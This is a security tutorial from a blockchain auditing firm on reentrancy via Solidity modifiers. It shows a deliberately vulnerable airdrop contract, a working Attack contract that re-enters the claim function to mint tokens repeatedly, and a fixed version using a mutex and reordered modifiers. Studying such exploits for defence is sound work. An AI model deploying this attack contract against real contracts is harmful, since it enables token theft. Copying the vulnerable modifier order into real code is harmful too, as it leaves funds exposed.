Contents

Solidity Smart Contract Security By Example #03: Reentrancy via Modifier


Originally published in Valix Consulting’s medium.

Smart contract security is one of the biggest impediments toward the mass adoption of the blockchain. For this reason, we are proud to present this series of articles regarding Solidity smart contract security to educate and improve the knowledge in this domain to the public.

Reentrancy via modifier might be another level of reentrancy in terms of complexity. Sometimes, it might be challenging to catch up on this vulnerability in a smart contract.

In this article, you will learn how the reentrancy via modifier attack happens and how to prevent it. Enjoy reading. 😊

You can find all related source code at 👉 https://github.com/serial-coder/solidity-security-by-example/tree/main/03_reentrancy_via_modifier.

Disclaimer:

The smart contracts in this article are used to demonstrate vulnerability issues only. Some contracts are vulnerable, some are simplified for minimal, some contain malicious code. Hence, do not use the source code in this article in your production.

Nonetheless, feel free to contact Valix Consulting for your smart contract consulting and auditing services. 🕵


Table of Contents


.    .    .

The Dependency


Below is just the IAirdropReceiver interface mutually required by the InsecureAirdrop, the Attack, and the FixedAirdrop contracts, which we will discuss later on.

1
2
3
4
5
pragma solidity 0.8.13;

interface IAirdropReceiver {
    function canReceiveAirdrop() external returns (bool);
}
Dependencies.sol


.    .    .

The Vulnerability


The following shows the InsecureAirdrop contract, providing an airdrop to anyone calling its receiveAirdrop function (lines 15–19). The receiveAirdrop function applies two modifiers neverReceiveAirdrop (lines 21–24) and canReceiveAirdrop (lines 40–51) to validate that the claimer is eligible and has never received the airdrop before.

Of course, the InsecureAirdrop contract is vulnerable to a reentrancy attack. But, can you find the issue? 👀

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
pragma solidity 0.8.13;

import "./Dependencies.sol";

contract InsecureAirdrop {
    mapping (address => uint256) private userBalances;
    mapping (address => bool) private receivedAirdrops;

    uint256 public immutable airdropAmount;

    constructor(uint256 _airdropAmount) {
        airdropAmount = _airdropAmount;
    }

    function receiveAirdrop() external neverReceiveAirdrop canReceiveAirdrop {
        // Mint Airdrop
        userBalances[msg.sender] += airdropAmount;
        receivedAirdrops[msg.sender] = true;
    }

    modifier neverReceiveAirdrop {
        require(!receivedAirdrops[msg.sender], "You already received an Airdrop");
        _;
    }

    // In this example, the _isContract() function is used for checking 
    // an airdrop compatibility only, not checking for any security aspects
    function _isContract(address _account) internal view returns (bool) {
        // It is unsafe to assume that an address for which this function returns 
        // false is an externally-owned account (EOA) and not a contract
        uint256 size;
        assembly {
            // There is a contract size check bypass issue
            // But, it is not the scope of this example though
            size := extcodesize(_account)
        }
        return size > 0;
    }

    modifier canReceiveAirdrop() {
        // If the caller is a smart contract, check if it can receive an airdrop
        if (_isContract(msg.sender)) {
            // In this example, the _isContract() function is used for checking 
            // an airdrop compatibility only, not checking for any security aspects
            require(
                IAirdropReceiver(msg.sender).canReceiveAirdrop(), 
                "Receiver cannot receive an airdrop"
            );
        }
        _;
    }

    function getUserBalance(address _user) external view returns (uint256) {
        return userBalances[_user];
    }

    function hasReceivedAirdrop(address _user) external view returns (bool) {
        return receivedAirdrops[_user];
    }
}
InsecureAirdrop.sol


To receive the airdrop, a claimer has to call the receiveAirdrop function (lines 15–19) of the InsecureAirdrop contract. The receiveAirdrop function would validate that the claimer must never receive the airdrop through the neverReceiveAirdrop modifier (lines 21–24).

Then, the receiveAirdrop function would validate that the claimer is eligible to receive the airdrop via the canReceiveAirdrop modifier (lines 40–51). The canReceiveAirdrop modifier will first check if the claimer is a regular user or a smart contract (line 42). The claimer will pass the eligibility check right away without further validation if they are a user.

Nonetheless, if the claimer is a smart contract, the canReceiveAirdrop modifier would do further check by calling the canReceiveAirdrop function of the claiming contract to demonstrate that the contract supports receiving the airdrop (line 46). In other words, the claiming contract must implement the canReceiveAirdrop function and return true when the InsecureAirdrop contract invokes it.

A reentrancy is a programmatic approach in which an attacker performs recursive requests to gain airdrops over the expectation.


In the case of InsecureAirdrop contract, the reentrancy begins in line 46 in the canReceiveAirdrop modifier. Figure 1 below portrays how the reentrancy via modifier attack occurs.

Figure 1. How the reentrancy via modifier happens

Figure 1. How the reentrancy via modifier happens


To gain the airdrops, an attacker uses the Attack contract implementing the canReceiveAirdrop function as shown in Figure 1. This function would be executed by the InsecureAirdrop contract to validate that the Attack contract supports receiving the airdrop (Step 5).

To perform reentrants, the canReceiveAirdrop function would interrupt the control flow in the middle and execute the loop calls to the receiveAirdrop function of the InsecureAirdrop contract (Step 6).

On the reentrancy calls, the neverReceiveAirdrop modifier (Step 3) would think that the Attack contract has never received the airdrop before 🤔 because the receiveAirdrop function’s body statement for minting the airdrop (i.e., userBalances[msg.sender] += airdropAmount; in line 17) and the statement for marking the Attack contract as the airdrop receiver (i.e., receivedAirdrops[msg.sender] = true; in line 18) would never be executed yet.

Note that the receiveAirdrop function’s body statements in question would be triggered after the exit of each reentrancy call. For this reason, the validation check in Step 3 would always be bypassed on every reentrancy call. 🤧

After that, the canReceiveAirdrop modifier would be invoked in Step 4. Subsequently, another loop call begins again (Steps 5 and 6). This process would be recursively performed again and again to gain more airdrop tokens. Oh, No! 🙀


.    .    .

The Attack


The Attack contract below can be used to exploit the InsecureAirdrop contract.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
pragma solidity 0.8.13;

import "./Dependencies.sol";

interface IAirdrop {
    function receiveAirdrop() external;
    function getUserBalance(address _user) external view returns (uint256);
}

contract Attack is IAirdropReceiver {
    IAirdrop public immutable airdrop;

    uint256 public xTimes;
    uint256 public xCount;

    constructor(IAirdrop _airdrop) {
        airdrop = _airdrop;
    }

    function canReceiveAirdrop() external override returns (bool) {
        if (xCount < xTimes) {
            xCount++;
            airdrop.receiveAirdrop();
        }
        return true;
    }

    function attack(uint256 _xTimes) external {
        xTimes = _xTimes;
        xCount = 1;

        airdrop.receiveAirdrop();
    }

    function getBalance() external view returns (uint256) {
        return airdrop.getUserBalance(address(this));
    }
}
Attack.sol


To exploit the InsecureAirdrop, an attacker invokes Attack.attack(10) function (the passing argument: 10, in this case, represents the number of amplification times the attacker would like to gain the airdrops).

To understand how the Attack contract works in more detail, please refer to the attack steps described in Figure 1 above.

Figure 2. The attack result

Figure 2. The attack result


The result of the attack is shown in Figure 2. As you can see, a regular user could receive only 999 tokens, whereas the attacker could gain the number of tokens as many times as they wanted. Specifically, the attacker effortlessly gained the airdrop tokens 10 times beyond the minting permission. 🤑


.    .    .

The Solutions


There are three preventive solutions to address the associated reentrancy attack. 👨‍🔧

  1. Calling the canReceiveAirdrop modifier before the neverReceiveAirdrop

  2. Applying the mutex lock (noReentrant modifier) as the first modifier

  3. Using both solutions #1 and #2


 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
pragma solidity 0.8.13;

import "./Dependencies.sol";

abstract contract ReentrancyGuard {
    bool internal locked;

    modifier noReentrant() {
        require(!locked, "No re-entrancy");
        locked = true;
        _;
        locked = false;
    }
}

contract FixedAirdrop is ReentrancyGuard {
    mapping (address => uint256) private userBalances;
    mapping (address => bool) private receivedAirdrops;

    uint256 public immutable airdropAmount;

    constructor(uint256 _airdropAmount) {
        airdropAmount = _airdropAmount;
    }

    // FIX: 1. Apply mutex lock (noReentrant) as the first modifier
    // FIX: 2. Call canReceiveAirdrop before neverReceiveAirdrop
    function receiveAirdrop() external noReentrant canReceiveAirdrop neverReceiveAirdrop {
        // Mint Airdrop
        userBalances[msg.sender] += airdropAmount;
        receivedAirdrops[msg.sender] = true;
    }

    modifier neverReceiveAirdrop {
        require(!receivedAirdrops[msg.sender], "You already received an Airdrop");
        _;
    }

    // In this example, the _isContract() function is used for checking 
    // an airdrop compatibility only, not checking for any security aspects
    function _isContract(address _account) internal view returns (bool) {
        // It is unsafe to assume that an address for which this function returns 
        // false is an externally-owned account (EOA) and not a contract
        uint256 size;
        assembly {
            // There is a contract size check bypass issue
            // But, it is not the scope of this example though
            size := extcodesize(_account)
        }
        return size > 0;
    }

    modifier canReceiveAirdrop() {
        // If the caller is a smart contract, check if it can receive an airdrop
        if (_isContract(msg.sender)) {
            // In this example, the _isContract() function is used for checking 
            // an airdrop compatibility only, not checking for any security aspects
            require(
                IAirdropReceiver(msg.sender).canReceiveAirdrop(), 
                "Receiver cannot receive an airdrop"
            );
        }
        _;
    }

    function getUserBalance(address _user) external view returns (uint256) {
        return userBalances[_user];
    }

    function hasReceivedAirdrop(address _user) external view returns (bool) {
        return receivedAirdrops[_user];
    }
}
FixedAirdrop.sol


The FixedAirdrop contract above is the resolved version of the InsecureAirdrop. We apply both solutions #1 (calling the canReceiveAirdrop modifier before the neverReceiveAirdrop) and #2 (applying the mutex lock as the first modifier) here.

For solution #1 (calling the canReceiveAirdrop modifier before the neverReceiveAirdrop), the receiveAirdrop function was improved by substituting the execution order of the modifiers (line 28) as follows: function receiveAirdrop() external canReceiveAirdrop neverReceiveAirdrop. The improved execution order results in validating that the claimer has never received the airdrop after verifying the claimer’s eligibility. This improvement guarantees that the reentrancy via modifier will never happen.

For solution #2 (applying the mutex lock as the first modifier), we attached the noReentrant as the first modifier to the receiveAirdrop function (line 28) as follows: function receiveAirdrop() external noReentrant canReceiveAirdrop neverReceiveAirdrop. The noReentrant (lines 8–13) is a simple lock that allows only a single entrance to the function applying it. If there is an attempt to do the reentrant, the transaction would be reverted by the require statement in line 9.


.    .    .

Summary


In this article, you have learned the reentrancy via modifier vulnerability in a smart contract, how an attacker exploits the attack, and the preventive solutions to fix the issue. We hope you enjoy reading our article. See you in the forthcoming article.

Again, you can find all related source code at 👉 https://github.com/serial-coder/solidity-security-by-example/tree/main/03_reentrancy_via_modifier.


.    .    .

Author Details


Phuwanai Thummavet (serial-coder), Lead Blockchain Security Auditor and Consultant | Blockchain Architect and Developer.

See the author’s profile.


.    .    .

About Valix Consulting



Valix Consulting is a blockchain and smart contract security firm offering a wide range of cybersecurity consulting services. Our specialists, combined with technical expertise with industry knowledge and support staff, strive to deliver consistently superior quality services.

For any business inquiries, please get in touch with us via Twitter, Facebook, or info@valix.io.


.    .    .

Originally published in Valix Consulting’s medium.